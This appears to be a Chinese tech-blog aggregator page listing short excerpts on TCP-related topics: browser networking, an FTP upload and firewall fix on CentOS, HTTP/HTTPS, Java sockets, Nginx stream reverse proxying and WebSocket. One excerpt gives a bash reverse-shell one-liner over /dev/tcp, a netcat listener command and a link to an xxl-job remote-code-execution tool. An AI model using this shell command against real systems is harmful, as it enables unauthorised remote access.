有人说,如果你懂得浏览器的工作原理,你就能解决80%的前端难题。 是的,了解浏览器的工作原理,有助于你的工作;而了解TCP/IP 、HTTP等网络协议,更是对你未来的职业发展大有裨益。 下面,我总结了4个面试常考的关于浏览器和网络通信的问题,为你重新梳理浏览器,网络通信、页面渲染、JavaScrip ...
分类:
编程语言 时间:
2020-12-09 11:49:14
阅读次数:
6
javaFTPClient上传文件0kb问题解决方法:1.本地防火墙关闭了2.服务端端防火墙关闭CentOS7.0关闭默认防火墙启用iptables防火墙操作系统环境:CentOSLinuxrelease7.0.1406(Core)64位CentOS7.0默认使用的是firewall作为防火墙,这里改为iptables防火墙步骤。1、关闭firewall:systemctlstopfirewall
分类:
编程语言 时间:
2020-12-04 11:43:37
阅读次数:
14
1.基本概念 HTTP: 超文本传输协议,是互联网上应用最为广泛的一种网络协议,是一个客户端与服务器端请求和应答的标准(TCP),用于从WWW服务器传输超文本到本地浏览器的传输协议,可以使浏览器更加高效,使网络传输减少。 HTTPS:是以安全为目标的HTTP通道,简单讲是HTTP的安全版,即HTTP ...
分类:
Web程序 时间:
2020-12-04 11:28:24
阅读次数:
15
Socket通信是Java网络编程中比较基础的部分,其原理其实就是源ip,源端口和目的ip,目的端口组成的套接字通信。其底层还设及到了TCP协议的通信。 Java中的Socket通信可以通过客户端的Socket与服务端的ServerSocket通信,同时利用IO流传递数据,也就是说Socket通信是 ...
分类:
编程语言 时间:
2020-12-04 11:25:43
阅读次数:
7
→ 1- 输入网址→ 2- 缓存解析→ 3- 域名解析→ 4- tcp连接,三次握手→ 6- 页面渲染 一:输入网址 那肯定是输入你要访问的网站网址了,俗称url; 二:缓存解析 浏览器获取了这个url,当然就去解析了,它先去缓存当中看看有没有,从 浏览器缓存-系统缓存-路由器缓存 当中查看,如果有 ...
分类:
Web程序 时间:
2020-12-04 10:56:56
阅读次数:
9
服务器的代码如下,还有一些基础概念 /** * 概念: * ip和端口主要是为了区分服务器的运用的操作 * ipv4的格式 [0-255] xxxx.xxxx.xxxx.xxxx * ipv6的格式 [0-0xffff] 8个xxxx * 可靠:tcp * 不可靠:udp * * tcp可靠的原因 ...
分类:
Web程序 时间:
2020-12-03 11:45:22
阅读次数:
11
背景 生产环境 Nginx 需要增加支持 TCP 反向代理功能,需要再添加--with-stream参数重新编译后,在线升级 Nginx。 在线升级 # 查看当前版本(注意为大写 V) $ cd /usr/local/nginx/sbin $ nginx -V nginx version: ngin ...
分类:
其他好文 时间:
2020-12-03 11:38:14
阅读次数:
3
WebSocket 是一种计算机通信协议,通过单个 TCP 连接提供全双工通信信道。 1、WebSocket 是双向的 -使用 WebSocket 客户端或服务器可以发起消息发送。 2、WebSocket 是全双工的 -客户端和服务器通信是相互独立的。 3、单个 TCP 连接 -初始连接使用 HTT ...
分类:
Web程序 时间:
2020-12-03 11:30:13
阅读次数:
11
bash -i >& /dev/tcp/ip/port 0>&1 服务器监听 nc -lvvp 9999 利用工具 https://github.com/mrknow001/xxl-job-rce bash反弹shell命令 https://www.cnblogs.com/supdon/p/1346 ...
client server; 四次挥手走完, client 发出syn 收到 server的ack后就发出了rst 先记录事件 后续 完整复盘 https://juejin.cn/post/6844903730874171405 https://juejin.cn/post/684490373087 ...
分类:
其他好文 时间:
2020-12-02 12:21:41
阅读次数:
4